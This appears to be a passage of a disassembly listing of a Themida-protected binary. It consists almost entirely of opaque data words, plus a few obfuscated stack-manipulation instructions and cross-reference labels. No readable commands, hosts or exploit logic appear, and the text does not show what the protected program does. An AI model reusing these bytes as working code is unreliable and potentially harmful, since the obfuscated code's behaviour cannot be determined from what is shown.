		dd 77556BFFh, 0DAB7CD61h, 0CB7B2EC2h, 0A57FA94Eh, 51E02513h
		dd 0CB5F7B56h, 2CC0D8B5h, 6C424D5Bh, 0A9E99F1Ch, 3EA713A6h
		dd 0AAA65906h, 0D32513A6h, 73F5935h, 89BD5A6Ch,	78072AD5h
		dd 0A6ABD8h, 69CB0000h,	0A6A617ECh, 485AC313h, 5A795673h
		dd 0AE9F2AF2h, 4393ECA5h, 9DAFC9A5h, 122E09D7h,	0CEA32DDAh
		dd 0D9B61442h, 3A172DC1h, 7C13EA22h, 31FAE22Bh,	50A96247h
		dd 25158300h, 0DA4313A6h, 46682746h, 1DF694F6h,	182AC5FDh
		dd 40DCA41Fh, 3181EA14h, 89CB893h, 0A7FB17F2h, 62329B76h
		dd 8277FD3Dh, 0E2000003h, 3E54E80Ah, 9BB14565h,	0FB11A5BFh
		dd 5E74081Ch, 0FAD36783h, 64805BF4h, 0C2E0BAD0h, 243A182Eh
		dd 859D7A90h, 118E3EF1h, 13A5406Ah, 5614A3E8h, 14EB687Bh
		dd 0C21442A0h, 566C0059h, 0FCCD6179h, 29617956h, 0D2667E5Bh
		dd 0A4EB61ABh, 6F3DBA0Ah, 3D13A68Ch, 69DBCBD4h,	7A5F7F94h
		dd 2D2638E4h, 0B793D5FAh, 33832B64h, 0BFC74CB6h, 0E5A212BFh
		dd 84A2241h, 73E5358Eh,	45C106E2h, 5F3BC73Eh, 966D3345h
		dd 8FA382F9h, 1363BC57h, 6E809875h, 22CF1390h, 0F18DA058h
		dd 52A2FB15h, 0AD8CD7B4h, 96AC4099h, 0DA4DA1B9h, 0EDB6193Ah
		dd 2CF27ADh, 0BD950000h, 18F1079Bh, 724E64F8h, 0CFAEC458h
		dd 361127BBh, 47AD861Ah, 8317330Eh, 0E175936Dh,	43D7EDCBh
		dd 0A438502Dh, 3FC441F1h, 9B13A541h, 7956C756h,	32AF1161h
		dd 1442A04Dh, 0C88EA009h, 0C0109EF1h, 0CBE3C05Eh, 815EC0B9h
		dd 8BF413A6h, 650D0F7h,	7FE81E89h, 9EFE12F1h, 1972B036h
		dd 374D2BC9h, 83E54725h, 0A6037106h, 6274DD13h,	422FBB69h
		dd 0B1F96914h, 0F7E49C26h, 0AFBAC31Ch, 0A7043F30h, 959553Ah
		dd 0C0552AA7h, 9801D815h, 112BA886h, 40DFF1E1h,	52D4BDCEh
		dd 5062A1BEh, 1AB80871h, 0BA99253Dh, 0C1D36EA6h, 0F0CB69FBh
		dd 0EF019CD4h, 0DFB8C3CCh, 3A93B38Ch, 0CC1491E1h, 8EC79ED0h
		dd 5A37D525h, 0BB98AE42h, 40789670h, 39F84CA5h,	0A295DAADh
		dd 1F3DC62h, 99710000h,	0F4CDE377h, 4E2A40D4h, 0AB8AA034h
		dd 12ED0397h, 638962F6h, 5FF30FEAh, 0BD516F49h,	1FB3C9A7h
		dd 80142C09h, 0DBA01DCDh, 7713A542h, 7956A332h,	0EB3B4F2Eh
		dd 42A0896Eh, 83DC4514h, 0C47B94Bh, 4275930Eh, 2966899Bh
		dd 12B83585h, 6113A66Fh, 0BED0E4C3h, 7D027FDFh,	0CA13A650h
		dd 0F6C83DFh, 2D96E746h, 981940D4h, 1F6F3F50h, 548CA481h
		dd 4CC9A7B9h, 1442F39Eh, 0B9D3AF4Dh, 6658C8A7h,	8FEF0F91h
		dd 0A0ABB40Dh, 0A37882BBh, 445E3AD8h, 2E800F32h, 4A6440DEh
		dd 63DD5A38h, 0F1DB1D3Ah, 16795088h, 48E64898h,	443D4F6Fh
		dd 0C33ACC1Ch, 0F94622BEh, 33CE061Ah, 7B07A2DAh, 0B24D859Fh
		dd 8E6B0959h, 0EFCCE276h, 74ACCAA4h, 0F2C80D9h,	0E0997690h
		dd 1171AA0h, 754D0000h,	0D0A9BF53h, 2A061CB0h, 87667C10h
		dd 0EEC9DF73h, 9F653ED2h, 3BCFEBC6h, 992D4B25h,	0FB8FA583h
		dd 5CF008E5h, 877CF9A9h, 5313A542h, 79567F0Eh, 23A502Eh
		dd 4CBE0E67h, 0AB0FBC7Eh, 0A3B796DDh, 867DFA4Ah, 54144266h
		dd 3C13D9EBh, 8E0B5B53h, 13A672E8h, 8F69FD66h, 1EF712F1h
		dd 0AD10522h, 0AF4A82DBh, 99157A9Dh, 539BCC49h,	0DE471441h
		dd 0FA14F08Eh, 0F29022E8h, 2AC5FD15h, 2D71A0CAh, 798BF831h
		dd 1A6A825Fh, 99443BB8h, 0A9121B89h, 825F7597h,	3EA0326Ah
		dd 89993AC1h, 0A32F981Bh, 9F98AACAh, 47083DE3h,	3C2363E0h
		dd 1C3A145Fh, 0A0F049E4h, 0D20A2802h, 7E3CC340h, 319A780Eh
		dd 55714CD8h, 2E0B2143h, 3110DE16h, 572EE51Dh, 0EFCE6C2Fh
		dd 0D2AFC9DBh
		dd 7EB146C3h, 0B41D780Eh, 0D4B1C75Bh, 753312B5h, 0EF484B5Eh
		dd 0B25019Fh, 602638D3h, 0F1CE6CCEh, 9B06A1D9h,	780E3AE4h
		dd 63E5E37h, 9FB11A6Bh,	8CDh, 0F4925C00h, 7EAFC1Ah, 5C7E56B8h
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 8952EE43h, 4C281E2h
		dd 50000000h, 4B8h, 58C22900h, 5C241487h, 18B268h, 242C8900h
		dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0EC812404h
		dd 4, 0BA241489h, 68547B1h, 4A08E2C1h, 0C281DAF7h, 57F72432h
		dd 0EA81D2F7h, 2568B4AFh, 545AD589h, 8124048Bh,	4C4h, 0B9515500h
		dd 31A6706Dh, 4244C01h,	8408F59h, 6D086881h, 8B31A670h
		db 4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 0EBF81F82h, 33B8FD59h, 307E7E4h, 0BAE0FFC5h,	40369FA1h
		dd 6412DE67h, 0EB2AF79Dh
		db 4Fh
byte_5C0979	db 8Fh,	1Ch, 25h	; DATA XREF: Themida_:00585604o
		dd 0A108ABFAh, 0A4ACDAC6h, 5CD2D41Ch, 0CE00E45Ch, 1BF53134h
		dd 29B327CEh, 0DD5B34D1h, 17E62AC7h, 34DF1BCEh,	0A6DB67h
		dd 43A7CAh, 0DC80BA9Fh,	0
		dd 0FEB41B54h, 0FE340000h, 0FBh
dword_5C09BC	dd 52DDB487h, 9ED92023h, 7C809E01h, 130FE9h, 57006A00h
					; DATA XREF: Themida_:00582800o
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1A04h, 0C3574700h
		dd 6B7176E4h, 0E94626B2h, 5, 1219D1BEh
		db 0FAh
byte_5C09F9	db 83h,	0BDh, 15h	; DATA XREF: Themida_:005832B0o
		dd 7E420h, 60850Fh, 6A0000h, 3E856h, 5E200000h,	74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 7F94EAC3h, 61AC4BA7h
		dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0E5D0494Ah, 820F067Ah, 6,	2BE9958Bh
		dd 4C207E4h, 38F0F00h, 66000000h, 0C08BD18Bh, 2A21B529h
		dd 0BD8307E4h, 7E413F1h, 83097500h, 0E40935BDh,	13740007h
		dd 0C08B5350h, 4D0B8h, 0C49D8D00h, 0FF07E6E7h, 83585BD3h
		dd 0E40935BDh, 11740007h, 0D0B85350h, 8D000004h, 0E6E7119Dh
		dd 5BD3FF07h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 63AE3C4Dh, 108AF5A2h, 4FE98022h
		dd 0D2F78166h, 57006ACDh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 0CA7726A5h, 8B848F31h
		dd 8B8AB9C0h, 858D62BAh, 7E7E531h, 3758589h, 509007E4h
		dd 0AE8h, 0C51D4800h, 754D3FE9h, 6096DF3Ah, 6E9h, 13E63200h
		dd 0B849963Bh, 77C4F720h, 23905A61h, 0E41DE9BDh, 0EE858D07h
		dd 6A07E7E4h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1C042444h, 43000000h, 50C4C353h, 7B2F2A7h, 5345BD82h
		dd 6AF8BA66h, 66609059h, 618366BEh, 90F48A50h, 8A1BCA81h
		dd 85891EF6h, 7E43179h,	17DD95FFh, 0CA8107E4h, 5D83452h
		dd 424448Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0DDC35040h, 0A3C5EFD5h,	0FAB70F60h, 61F28B66h
		dd 0E5198589h, 13E807E7h
		db 3 dup(0)
byte_5C0BC3	db 4Bh			; DATA XREF: Themida_:005829F8o
					; Themida_:00584324o
		dd 0D6B88545h, 0F3874B80h, 0C54E937Dh, 4D4C64DCh, 8D016D34h
		dd 7E42D35h, 24448B5Fh,	53006A08h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0AB23D44Dh, 0E89F1B7Dh
		dd 99BD8962h, 6607E41Eh, 7EF3DA81h, 0E52D8589h,	0B96607E7h
		dd 0BD83360Fh, 7E42635h, 0D7850F00h, 80000000h,	85C6D8F6h
		dd 7E42C2Dh, 52006A47h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 7AA6108Eh, 3622D379h, 98206868h
		dd 0BA5250A5h, 61F0131Dh, 0AE8310Fh, 0AC000000h, 2DC7862Bh
		dd 3C307880h, 0FB96623h, 585A593Ch, 0BA243481h,	6A710287h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 9C4BC351h, 950164ABh, 7E431DDh, 3860Fh, 0BF0F0000h
		dd 41B5FFCEh, 8D07E421h, 0E7B0A785h, 0E8D0FF07h, 12h, 51D9A591h
		dd 1BCA01B0h, 0B498EF72h, 9FAC0999h, 0BD899CB3h, 7E4056Dh
		dd 3585895Ah, 6A07E426h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 83A1C356h, 0BD83D30Bh
		dd 7E41B81h, 0B6850F00h, 0F000000h, 1F86h, 19870F00h, 0E9000000h
		dd 14h,	580E554Dh, 0CD379E72h, 7F85C2AEh, 67CA456Eh, 62EC2544h
		dd 2C2D85C6h, 534707E4h, 34685AFCh, 0B6519ECFh,	240481B5h
		dd 3870E6AEh, 0B15958Bh, 0B5FF07E4h, 7E42141h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 9DC35747h, 0ABC89AB3h
		dd 0A7858DA0h, 8907E7B0h, 0E41569B5h, 8E807h, 7D6D0000h
		dd 0C2EE143Dh, 0D38B9645h, 6AD0FF59h, 3E85100h,	20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89F4C351h
		dd 0E4027995h, 81858907h, 8B07E41Bh, 0E42F6D8Dh, 35BD8307h
		dd 7E41Fh, 0ED850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 7F1C60C3h, 0C9F0B87Fh
		dd 0E915DF0Fh, 7, 70DB12A0h, 0C6796580h, 0E42C2D85h, 8A0F5607h
		dd 3, 68FEBF0Fh, 69FDE19Bh, 10E95250h, 9000000h, 5B3892CEh
		dd 5A0EB91h, 0DB042EA4h, 0F588832h, 81585A31h, 8B9E2404h
		dd 81666A21h, 0FF2D42F2h, 0E42141B5h, 858DF807h, 7E7B0A7h
		dd 0C8D0Fh, 870F0000h, 6, 2DF2C281h, 0D0FF6344h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h, 0BCF261B5h
		dd 360C10D4h, 0D18D3381h, 8B07E40Dh, 0E419498Dh, 35858907h
		dd 6A07E41Fh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0FE7C350h, 687h, 28F18100h, 0C6356062h
		dd 0E42C2D85h, 8D236C07h, 7E41BE1h, 0F9CCDB68h,	816160A1h
		dd 0A3A82404h, 6A390Bh,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0FF44BDC3h, 0E4019DB5h, 0FE907h
		dd 0CFB20000h, 9663C294h, 8E795FE1h, 91EBF02Ah,	8850F1Bh
		dd 60000000h, 0FD1BF0Fh, 8D61DEB7h, 0E43BDC85h,	0FE907h
		dd 22250000h, 0EE4B1908h, 411CC24Fh, 5482FC27h,	6AD0FF3Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 1D1C353h,	8003A219h, 85897CE1h, 7E7E51Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0AFC35646h
		dd 0C4CA9019h, 8AD18B66h, 39BD83CBh, 7E7E5h, 0DF850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h
		dd 52420000h, 0E298ADC3h, 9E8B3h, 6A60000h, 85A800A6h
		dd 6089C62Dh, 12E9h, 61E9CF00h,	0AB2903DEh, 98489A33h
		dd 0ADB964B7h, 6047A9E4h, 0C65A6161h, 0E42C2D85h, 8D8B4907h
		dd 7E42321h, 0DE9h, 3784C000h, 7973563h, 0B9ABFF91h, 0D168DE5Ah
		dd 0F0E8D2Ah, 886h, 8F0F6000h, 0
		dd 24048161h, 7D87FF18h, 2820Fh, 0D18A0000h, 19DB5FFh
		dd 9D0907E4h, 7E41DE5h,	3BDC858Dh, 0B70F07E4h, 81D0FFC9h
		dd 460114E2h, 3985894Bh, 6A07E7E5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 0CA6DC355h
		dd 13E9819Fh, 0F5EBC7E4h, 8E9h,	3E69D400h, 424CA399h, 0B5046A1Dh
		dd 4E8DEh, 10000000h, 0C8BA0000h, 50601EB2h, 614CE6BAh
		dd 24448B74h, 0F525004h, 52506031h, 585A310Fh, 5A615B51h
		dd 66008B58h, 896C78BFh, 58042444h, 2C0DB589h, 846807E4h
		dd 506BC128h, 8159C0B2h, 28842434h, 6A6BC0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0E5F2A0C3h
		dd 6A5EB1h, 0AE9h, 4B028B00h, 7EED53F9h, 0FF70712Dh, 0E423E195h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 5B1C1C4Fh, 55F89925h, 4CB2530Bh,	29858959h
		dd 6A07E7E5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 96BDC355h, 0EE9358Bh, 0DB000000h
		dd 9D4901A1h, 0BA900ADh, 6950E671h, 2185C7C2h, 7E7E5h
		dd 66000000h, 6AEE8ABFh, 2BB96600h, 713168CCh, 3481033Dh
		dd 3C713124h, 0DF816603h, 8B905208h, 0BA6650F9h, 6A909FC7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 0FE1CC357h, 1B8BEC9Ch, 9D8934B5h,	7E40E99h
		dd 0E1C98166h, 6A0B6A7Dh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 749DC353h, 743A88D4h
		dd 0D9BD8B5Bh, 8D07E42Ah, 0E7E4F685h, 0FFB70F07h, 810F90h
		dd 50000000h, 2990CA8Bh, 0E4258D95h, 3595FF07h,	6A07E426h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 8101C353h, 89CA8B66h, 0E4246D85h,	0B58D07h
		dd 6A07E7E5h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0B07C355h, 0E4245995h,	0FA8B9607h
		dd 3820F50h, 66000000h,	6A96CA8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 97B6C351h
		dd 89F0F88Eh, 0CDCE6FB9h, 19BD033Dh, 0BA07E423h, 345FACE6h
		dd 58C0F90h, 0BF000000h, 491EF6F6h, 12BA6650h, 6A90C4h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 2400D2C3h, 892E7248h, 0E40DB9BDh, 13E907h, 0ADAE0000h
		dd 210316D3h, 0B86C0DCFh, 0EF686B57h, 33A81DEh,	0BE9E5h
		dd 50680000h, 1D67495Bh, 97EE631Ah, 8195FFF6h, 0F07E41Bh
		dd 0C00BF8BFh, 55850Fh,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 5297EAC3h, 819E5EC0h
		dd 27F40CEFh, 753E92Ah,	6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E96A70C3h, 7, 6448D630h
		dd 0FF8EB1E8h, 0FDBD8BD0h, 8B07E41Ah, 0E7E529B5h, 6DBD2907h
		dd 2B07E432h, 0E405F9BDh, 20468D07h, 46AFB8Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0A9C35545h, 0FC62586h
		dd 81h,	0BE85000h
		db 3 dup(0)
byte_5C139B	db 32h			; DATA XREF: Themida_:00582624o
		dd 35C98645h, 3E859BB5h, 895FAB1Dh, 958B2404h, 7E40D51h
		dd 0E53995FFh, 0B96607E7h, 0C00B3ED3h, 24840Fh,	0B1600000h
		dd 0DE99Ch, 0A10000h, 63F38D1Dh, 836F1A51h, 61205BF9h
		dd 69CE9h, 3840F00h, 0F000000h,	7E80D0B7h, 840F0020h, 689h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 44C35040h
		dd 1CE18D2Bh, 6A6007E4h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7E4DC357h, 66C3D68Dh
		dd 0BB4EC981h, 6860Fh, 95290000h, 7E42491h, 6A20468Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0B0B9C353h, 0EC0E61B9h, 89EE8ABAh, 62CA8049h
		dd 0E5258589h, 6A07E7h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0A784B0C3h, 0A04AA276h, 0BD89B22Ah
		dd 7E40199h, 134E9h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1704h, 0C3504000h, 0B3DA1FD4h, 40D3BF0Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0D4C35040h
		dd 0CF374063h, 66A58143h, 0BA50D68Bh, 49795846h, 8B240489h
		dd 6A046AFEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4633C350h, 3351C570h, 0E413C58Dh
		dd 84BA5F07h, 901C4D40h, 10E9h,	74484600h, 0C5CF7D1h, 0DF4B38A2h
		dd 67319271h, 0BB6050B5h, 79B1C311h, 61DE8B66h,	53006A90h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 6B811153h, 3230BA66h, 0E53995FFh, 8D3107E7h,	7E41C05h
		dd 5158D88Bh, 12A99D29h, 0B5907E4h, 4E840FDBh, 0E9000000h
		dd 10h,	51B2CCA9h, 0C40E09DBh, 2E818A0Ch, 0F10A859Fh, 4D4E9h
		dd 8B606000h, 0F59589C7h, 6107E40Eh, 2F9DB58Bh,	526107E4h
		dd 1A890Fh, 14E80000h, 0EB000000h, 6570A636h, 8C425529h
		dd 0FD98B9Ah, 482BEE6Fh, 5FB6ADA3h, 388059h, 0FEE5850Fh
		dd 6AFFFFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 390ADDC3h, 0E52BE12Ah, 89E82363h,	0E4264195h
		dd 19E907h, 8A0F0000h, 0Ch, 68E0Fh, 880F0000h, 0
		dd 0BD8D0B48h, 3B07E426h, 0E7E52585h, 54820F07h, 60000000h
		dd 2E19D8Bh, 8D8907E4h,	7E42525h, 5C388061h, 3D840Fh, 8D8B0000h
		dd 7E41FD9h, 0F2F3880h,	0FFFFC785h, 50006AFFh, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0A285C76Eh
		dd 0F8A7A677h, 81566F23h, 97F039D9h, 40F55F6Ch,	0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 2DC35545h, 60340172h
		dd 156D9501h, 6ABF07E4h, 6157B8AEh, 76F0BF66h, 0E52DBD83h
		dd 0F0007E7h, 1DD84h, 418D2900h, 9007E425h, 8B525050h
		dd 50310FF8h, 0E9310F52h, 11h, 841D01EDh, 56C239B2h, 0B895075Bh
		dd 0A205AEC6h, 5A585AF7h, 6A9058h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 2700CBC3h, 0BD897DF5h
		dd 7E423F1h, 0E52D8503h, 8D0307E7h, 7E403C5h, 24048950h
		dd 1D1D9D29h, 46A07E4h,	0F32BB8B9h, 6E89033h
		db 3 dup(0)
byte_5C173F	db 9Fh			; DATA XREF: Themida_:00584B2Co
		dd 5C23F73Eh, 59FA8BB8h, 0BF525050h, 5A271CD2h,	6060310Fh
		dd 585A6161h, 53006A90h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0F90C492h, 8ADC43BCh, 0A18D89F1h
		dd 8107E426h, 510FB2CAh, 3995FF35h, 6A07E7E5h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 8524C352h, 0D1EC2261h, 8D8BF3BFh, 7E41C15h, 1B499D89h
		dd 0D88B07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Bh,	0D9C35747h, 4A9339E5h, 6613D937h, 58E6FEBFh, 0FDB0BF8h
		dd 6084h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 7C3B613Ch, 666F87E7h, 0F834C181h
		dd 4798D33h, 56E907E4h,	6A000002h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 4528C353h
		dd 268F0344h, 6800F59h,	89000000h, 0E4036D8Dh, 0C607h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0ABC35545h
		dd 0E1B7EB3Eh, 958B3F2Eh, 7E4321Dh, 53006A58h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6732E88Fh
		dd 0B369137Ch, 8904F281h, 66900B63h, 8B50D68Bh,	0DE990D6h
		dd 0A6000000h, 0C1BD6682h, 0AB43D987h, 0E947A0DDh, 6A1E6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C757B4C3h, 5E9h, 9C793D00h,	840FC931h, 5, 0CA6962B9h
		dd 0CE95054h, 0C000000h, 0A008D39Fh, 6C3AD078h,	89D7163Fh
		dd 81662404h, 0FF0A16C9h, 0E7E53995h, 0C880F07h, 0E9000000h
		dd 7, 175C10C4h, 8BC7F997h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 0C2A5C05Fh
		dd 0FB5E78Ah, 1280h, 0DE900h, 765E0000h, 7832EB3Bh, 0C74F99D2h
		dd 58529DACh, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Dh,	4DC35040h, 64DE0831h, 89344936h, 0FDB0B03h, 3284h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0E9684C11h, 0C5h, 9810Fh, 0F5600000h, 13A98D01h
		dd 506107E4h, 39B864BAh, 24048905h, 0B5FFFA8Bh,	7E7E519h
		dd 0BAFA8B66h, 525056D0h, 0E51D95FFh, 958B07E7h, 7E40B1Dh
		dd 850FC00Bh, 53h, 7E8h, 161C6900h, 0DDFEBFE6h,	56FFB966h
		dd 13E86159h, 1000000h,	0F7E65ED8h, 6E8CF65Bh, 0EEC6F854h
		dd 0DA1C8D1Ch, 0E180AC92h, 0BE95FCCh, 0C000000h, 0FA4C1BECh
		dd 794EBF76h, 85C7A74Fh, 7E7E521h, 1, 0B15B589h, 36E907E4h
		dd 61000000h, 12810Fh, 0DE90000h, 0C3000000h, 85EA17D9h
		dd 0B0505797h, 89357576h, 11CC681h, 95890000h, 7E43029h
		dd 6F98589h, 0F6E907E4h, 9FFFFF8h, 0E4013995h, 654E6807h
		dd 0AE94B0Eh, 16000000h, 79D2987Dh, 8967C5BBh, 2434816Ch
		dd 4B0EE54Eh, 148D8D09h, 958907E4h, 7E40111h, 6A006Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0B80C12C3h, 11496DF7h, 0B2EE33BFh, 29B5FF11h, 2907E7E5h
		dd 0E4183D9Dh, 3595FF07h, 8007E41Fh, 858B02D9h,	7E7E521h
		dd 7098D89h, 0E89007E4h, 7, 0D7DFDFBh, 5048EFA2h, 860F52h
		dd 0F000000h, 0F525031h, 5A585A31h, 50505958h, 0FD18B52h
		dd 6BF6631h, 90585A0Ch,	8DD7BF0Fh, 0E7E53185h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0C370B4A1h, 0ECC70F21h, 0F58D8B04h, 9007E42Ch, 198E0Fh
		dd 14E90000h, 28000000h, 19AF0878h, 8C4CA90h, 0CBE583FBh
		dd 0AB312E3Bh, 5039639Bh, 8B665250h, 60310FD6h,	5A616160h
		dd 0BD299058h, 7E4006Dh, 0E4EE858Dh, 0BF6607E7h, 8950D852h
		dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0D00BC2C3h, 69FF5F37h, 66572AE7h,	0FF59CE8Bh
		dd 0E40B8195h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1704h, 0C3524200h, 0C182235Dh, 6AC08Bh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 5F9860C3h, 0F88B6656h, 13F1BD83h, 750007E4h,	35BD8309h
		dd 7E409h, 53501374h, 0D0B8C08Bh, 8D000004h, 0E6E82B9Dh
		dd 5BD3FF07h, 35BD8358h, 7E409h, 53501174h, 4D0B8h, 2A9D8D00h
		dd 0FF07E6E7h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 1ECEC352h, 0EA91F8E5h
		dd 0E626D2BFh, 271958Bh, 0C08B07E4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 6DC35545h, 9187C9F8h, 0B70F9A7Fh
		dd 6A58D0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 875905C3h, 59310C61h, 0FA8B660Bh,	6A0008C2h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 88B3C350h, 0D85EB253h, 6AC08Bh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 170424h, 56460000h, 257168C3h
		dd 12E9B7h, 5EA90000h, 77E4C385h, 0B34292A8h, 2E9134D1h
dword_5C1D10	dd 0EFCDFE2Fh, 0E56E858Dh, 0FA8B07E7h, 0E258589h, 39EB07E4h
					; DATA XREF: Themida_:00583E40o
		dd 0AF0000h, 0AF02CCh, 0AF02E4h, 0
		dd 4644E2E6h, 775DEE0Eh, 234CE6CDh, 4E47E225h, 4F4DA544h
		dd 77678BF8h, 2365C70Eh
dword_5C1D50	dd 5366FF6Bh, 4B7DE5F7h, 4748EE3Bh, 0A8DCEBA4h,	7629E192h
					; DATA XREF: Themida_:00582E14o
					; Themida_:005838F8o
		dd 232988C1h, 0E074AB94h, 7450217h, 76D0A21h, 23299396h
		dd 0E07CCE49h, 5F106F59h, 7DEE0AAFh, 0A04B3F8Ah, 0C73A7A29h
		dd 2A5C8B4Dh, 2A1C36A6h, 57298C76h, 0A87ADB50h,	27903364h
		dd 0A6A08B52h, 24CD9F50h, 0CAD91619h, 0F0D68CACh, 9EAAD37Eh
		dd 24CD82A7h, 733EFF49h, 279033F7h, 0A6A08B52h,	24CD9F50h
		dd 0C5F61619h, 0F0D68CACh, 0AE18D37Eh, 24CD8BB7h, 0CB7B8B23h
		dd 23298BA7h, 79EAD172h, 270DDFA0h, 270DCF15h, 23298B52h
		dd 0F0EAD967h, 43CA757Fh, 23434BC2h, 232A63F4h,	7B098B52h
		dd 67A0D3EAh, 67A88FB0h, 23348F6Eh, 73698B25h, 0F5B5A351h
		dd 0DF979E55h, 2C79A8EFh, 232987D3h, 25AE8429h,	0A298B94h
		dd 0C727B6C7h, 0EAC4D22h, 752E6FBEh, 29E816C0h,	0E5418C40h
		dd 0A8141888h, 72D0AF9h, 7C3D5618h, 232980A3h, 35D9B425h
		dd 448802C0h, 0E871266Ch, 2683E5Bh, 9EA28CB6h, 24CD8E3Ch
		dd 938E0E19h, 96288CADh, 24CDAAB8h, 0A9265B6Dh,	23298B4Eh
		dd 23280FABh, 10D58B52h, 0C70F729Ch, 492DE193h,	20C1D84Ah
